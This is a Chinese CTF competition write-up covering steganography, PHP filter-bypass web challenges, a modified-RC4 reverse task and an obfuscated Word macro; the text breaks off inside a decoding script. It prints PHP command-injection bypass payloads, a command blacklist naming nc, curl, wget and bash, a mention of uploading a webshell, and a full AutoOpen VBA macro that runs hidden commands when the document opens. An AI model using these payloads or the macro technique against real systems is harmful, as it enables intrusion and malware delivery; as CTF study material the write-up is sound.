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网谷杯安全极客大赛_WP

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Misc

Format-8bit-wgb

给了flag.jpg，文件尾部有多余数据，foremost分解，得到压缩包，解压读取文本有一段乱码，根据题目名称提示，写出解题程序

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s = "귥障ꃦ躌ꇤ몆啔䘭㣧骄觥궗ꃥ꾆鿧邆賤뮥详颯ꃧ骄晬慧騍੦污杻㈸ㄵ摣ㅥ㈸昹搸㥥㉢㠰〷㉤㈳挴摣㌵紀"
b = bytes([(ord(c)>>8)&0xFF if i%2==0 else ord(c)&0xFF for c in s for i in (0,1)])  # 高,低交替
print(b.decode('utf-8', errors='ignore'))

flag{2815dc1e28f9d89e2b80072d23c4dc35}

non-interlaced-wgb

题目依次给了颜色为RGB循环的9张图片，利用随波逐流查看第一张图片的LSB数据，发现R通道有PK等压缩包特征，猜测每张图片对应颜色的通道就是压缩包的数据

依次利用stegsolve提取对应通道的bin，然后拼接得到压缩包

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import os

def merge_to_zip():
    files = [f for f in os.listdir('.') if f.isdigit() and 1 <= int(f) <= 9]
    files.sort(key=lambda x: int(x)) 

    with open('output.zip', 'wb') as out:
        for fname in files:
            with open(fname, 'rb') as f:
                out.write(f.read())
            print(f"已拼接: {fname}")
    print("生成文件：output.zip")

if __name__ == '__main__':
    merge_to_zip()

解压得到flag

flag{1c2121cab407dd44a5540d530ab9c6aa}

Web

真假之间-wgb

  • a=7e6：既是目标字符串的子串，又能被 floatval 解析且满足范围及长度≤4。
  • b=1108：使 md5(sha1(b)) 含有 b1 且在 b1 之后能找到 fca7（满足 strpos(strrchr(...,'b1'),'fca7')）。
  • c=setItem('2025abc',[0,9999999999999999])：满足正则、JSON 解码为数组、result[1][1] 是数值且在松散比较和严格比较间产生预期的真假（== 为真，!== 为真），并且 key '2025abc' 同时满足 !is_numeric 与 >2024 的条件（PHP 的类型转换特性）。
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http://119.36.240.224:41945/?a=7e6&b=1108&c=setItem('2025abc',[0,9999999999999999])

（第一步感觉可直接利用js跳过）但发现并没有给出flag，跳到inc.php

我们查看源码有

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<br/>
<script>
    (function() {
        var _0x1a2b = document.createElement("div");
        _0x1a2b.innerHTML = "<h1>Success is the key to happiness</h1>";
        document.body.appendChild(_0x1a2b)
    }
    )();
</script>
<script id="spt">
    !function() {
        var _0x3c7b = ["\x63\x6F\x6F\x6B\x69\x65"];
        document[_0x3c7b[0]] = "Ao(mgHUKl=<&\AbEBu<QF]NB_COH"
    }();
</script>
<script id='spt1'>
    !function() {
        var _0x29f0 = ['getElementById'];
        var _0x1f88 = function(_0x304e) {
            return _0x29f0[0];
        };
        var _0x1a1a = document[_0x1f88()]('spt');
        _0x1a1a && _0x1a1a['parentNode']['removeChild'](_0x1a1a);
        var _0x3c71 = document[_0x1f88()]('spt1');
        _0x3c71 && _0x3c71['parentNode']['removeChild'](_0x3c71);
    }();
</script>
<script id="flag_base85"></script>

有比较明显的base85特征

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import base64
s = "Ao(mgHUKl=<&\\AbEBu<QF]NB_COH"
print(base64.a85decode(s).decode())
# 输出: flag{D9xT7ePqA1LuVnYk}

flag{D9xT7ePqA1LuVnYk}

六件套-wgb

未解出，但很奇怪 起初这题题目是这个

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<?php
show_source(__FILE__);
error_reporting(0);

$A=$_GET['A'];
$B=$_GET['B'];

if($A!=$B && md5($A)===md5($B)){
    
    echo("1 Success!");
    $C=$_GET['C'];
    
    if(md5($C)=="0e232220452922422258022222903332"){
        echo("2 Success!");
        
        $D=$_GET['D'];
        if(strcmp(mt_rand(),$D)==0){
            echo("3 Success!");
            $E=$_GET['E'];
            
            if($E!=="5201" && intval($E,0)===5201){
                echo("4 Success!");
                $F=$_GET['F'];
                 if(noother_says_correct($F)){
                    echo("5 Success!");
                    if(isset($_POST['E'])){
                        echo("6!!");
                        $cmd = escapeshellcmd($_POST['E']); 
                        if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
                            system($cmd);
                        }
                    }
                }else{
                    exit("5 Error!");
                }
            }else{
                exit("4 Error!");
            }
        }else{
            exit("3 Error!");
        }
    }else{
        exit("2 Error!");
    }
}else{
    exit("1 Error!");
}



function noother_says_correct($number)
{
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++)
    {
        $digit = ord($number{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return false;
        }
    }
    return $number == "3735929054";
}

?>

我们利用php题目特性一一绕过

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?A[]=1&B[]=2&C=IHKFRNS&D[]=&E=0x1451&F=0xDEADC0DE
POST: E=set //环境变量
      E=du -a //看到有flag.php
      E=du  -a / //没发现与flag相关

但提交flag.php里的内容不对

然后重启靶机又变了个题：

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<?php
show_source(__FILE__);
//./flag.txt
error_reporting(0);
function validation_check() {
    $a = @$_GET['a'];
    $b = @$_GET['b'];
    $c = @$_GET['c'];
    if ($a !== $b && md5($a) === md5($b)) {
        if ($c == 0 && $c) {
            return true;
    }
    return false;
}
}
function command_execution() {
    if (!isset($_GET['cmd'])) {
        die("Where is cmd?");
    }
    
    $command = $_GET['cmd'];
    execute_command($command);
}
function execute_command($input) {
    if (strlen($input) > 4) {
        die("too long!");
    }
    system($input);
}
if (validation_check()) {
    command_execution();
} else {
    die("NoNoNo");
} NoNoNo

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?a[]=1&b[]=2&c=0e

绕过后，这个题注释./flag.txt，但当时发现当前目录只有flag.php，环境变量也没有相关flag。利用网上的方法上传马，虽然上传成功，但没回显，所以依旧提交失败

Reverse

NewRC4-wgb

存在UPX壳，但被魔改，将对应VMP修改为UPX就可以脱壳了

分析伪代码，静态加密函数为这个sub_140001000(v18, Buf2);

密文

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Buf1[0] = -1099083345;
Buf1[1] = 2129584582;
Buf1[2] = 1339278712;
Buf1[3] = -1197737055;
Buf1[4] = 632459247;
Buf1[5] = -1426643507;
Buf1[6] = -314991759;
Buf1[7] = -1937737471;
Buf1[8] = -1369194212;
Buf1[9] = -269001761;
v15 = 10008;

第一眼看到的key:

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aNbgvzyhebfgcv8 db 'nbGvzyHebFGcV8auYoqe'

但给AI写解密程序发现一直不对

后来交叉引用key字符串,发现下面这个函数可能对key（这里的stru_140005080）产生了影响

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void __fastcall TlsCallback_0(__int64 a1, int a2)
{
  __int64 v2; // rax
  unsigned __int64 v3; // rcx

  if ( a2 == 1 )
  {
    v2 = 16i64;
    if ( NtCurrentPeb()->BeingDebugged )
    {
      v3 = 16i64;
      stru_140005080 = _mm_xor_ps((__m128)_mm_load_si128((const __m128i *)&xmmword_1400032A0), stru_140005080);
      qword_140005870 = (__int64)&stru_140005080;
      do
        stru_140005080.m128_i8[v3++] ^= 0x31u;
      while ( v3 < 0x14 );
    }
    stru_140005080 = _mm_xor_ps((__m128)_mm_load_si128((const __m128i *)&xmmword_1400032B0), stru_140005080);
    do
      stru_140005080.m128_i8[v2++] ^= 0x7Au;
    while ( v2 < 20 );
  }
}

于是给AI修正，得到正确的解题程序

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# rc4_variant_with_tls.py
# Python 3
import struct, binascii

# ===== constants from the binary =====
Buf1_ints = [
    -1099083345,
    2129584582,
    1339278712,
    -1197737055,
    632459247,
    -1426643507,
    -314991759,
    -1937737471,
    -1369194212,
    -269001761
]
v15 = 10008  # included as last 2 bytes (total 42 bytes)
orig_key = b'nbGvzyHebFGcV8auYoqe'  # original data bytes (20 bytes)

# build the 42-byte "cipher" (this is Buf1 + v15 as program compares)
cipher = b''.join(struct.pack('<i', i) for i in Buf1_ints) + struct.pack('<H', v15)
assert len(cipher) == 42

# KSA + PRGA (exactly following the assembly order in sub_140001000)
def gen_keystream_for_key(key20):
    # Buf2_init is key repeated to 256 bytes
    Buf2_init = bytearray((key20[i % len(key20)] for i in range(256)))
    S = list(range(256))
    j = 0
    # KSA
    for i in range(256):
        j = (S[i] + j + Buf2_init[i]) % 256
        S[i], S[j] = S[j], S[i]
    # PRGA per assembly: produce 42 bytes (6 iterations of 7 outputs)
    v2 = 0
    v4 = 0
    ks = []
    for _ in range(6):
        v7 = (v4 + 1) % 256
        v8 = S[v7]
        v9 = (v2 + v8) % 256
        S[v7], S[v9] = S[v9], S[v7]
        ks.append( S[(v8 + S[v7]) % 256] )

        v10 = (v7 + 1) % 256
        v11 = S[v10]
        v12 = (v9 + v11) % 256
        S[v10], S[v12] = S[v12], S[v10]
        ks.append( S[(v11 + S[v10]) % 256] )

        v13 = (v10 + 1) % 256
        v14 = S[v13]
        v15_ = (v12 + v14) % 256
        S[v13], S[v15_] = S[v15_], S[v13]
        ks.append( S[(v14 + S[v13]) % 256] )

        v16 = (v13 + 1) % 256
        v17 = S[v16]
        v18 = (v15_ + v17) % 256
        S[v16], S[v18] = S[v18], S[v16]
        ks.append( S[(v17 + S[v16]) % 256] )

        v19 = (v16 + 1) % 256
        v20 = S[v19]
        v21 = (v18 + v20) % 256
        S[v19], S[v21] = S[v21], S[v19]
        ks.append( S[(v20 + S[v19]) % 256] )

        v22 = (v19 + 1) % 256
        v23 = S[v22]
        v24 = (v21 + v23) % 256
        S[v22], S[v24] = S[v24], S[v22]
        ks.append( S[(v23 + S[v22]) % 256] )

        v4 = (v22 + 1) % 256
        v25 = S[v4]
        v2 = (v24 + v25) % 256
        S[v4], S[v2] = S[v2], S[v4]
        result = (v25 + S[v4]) % 256
        ks.append( S[result] )
    assert len(ks) == 42
    return ks

def decrypt_with_key(key20):
    ks = gen_keystream_for_key(key20)
    pt = bytearray( ((cipher[i] - 113) & 0xff) ^ ks[i] for i in range(42) )
    printable = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in pt)
    return {'hex': pt.hex(), 'ascii': printable, 'keystream': bytes(ks).hex()}

# prepare two keys: non-debug (xor 0x7A), debug (xor 0x4B)
key_non_debug = bytes(b ^ 0x7A for b in orig_key)
key_debug = bytes(b ^ 0x4B for b in orig_key)

print("orig_key hex :", orig_key.hex())
print("key_non_debug (orig ^ 0x7A) hex:", key_non_debug.hex())
print("key_debug     (orig ^ 0x4B) hex:", key_debug.hex())
print()

res_non = decrypt_with_key(key_non_debug)
res_dbg = decrypt_with_key(key_debug)

print("=== Non-debug result (use if you ran program normally) ===")
print("keystream:", res_non['keystream'])
print("plaintext hex:", res_non['hex'])
print("plaintext ascii:", res_non['ascii'])
print()

print("=== Debug result (use if program was run under debugger) ===")
print("keystream:", res_dbg['keystream'])
print("plaintext hex:", res_dbg['hex'])
print("plaintext ascii:", res_dbg['ascii'])
print()

flag{590CF439-E304-4E27-BE45-49CC7B02B3F3}

满江红-wgb

给了个word，然后用7z查看压缩的内容，发现有vbs数据，猜测是宏代码，由于我的微软word坏了，wps好像不太好提取宏代码，直接在线提取http://tools.bugscaner.com/office/word-parser-vba.html

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Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function

给AI分析试着模拟，得到

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import base64


def unxor(ciphertext, start, key):
    """
    模拟VBA中的unxor函数.
    :param ciphertext: 加密的字节列表 (来自VBA的Array)
    :param start: 异或操作在密钥中的起始偏移量
    :param key: 解码后的Base64密钥字节
    :return: 解密后的字符串
    """
    cleartext = ""
    for i in range(len(ciphertext)):
        # Python中的字节操作已经是整数，直接进行XOR
        decrypted_char = key[i + start] ^ ciphertext[i]
        cleartext += chr(decrypted_char)
    return cleartext


# 1. 从VBA代码中提取完整的Base64密钥字符串
b64_key_string = (
    "rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl"
    "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9"
    "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n"
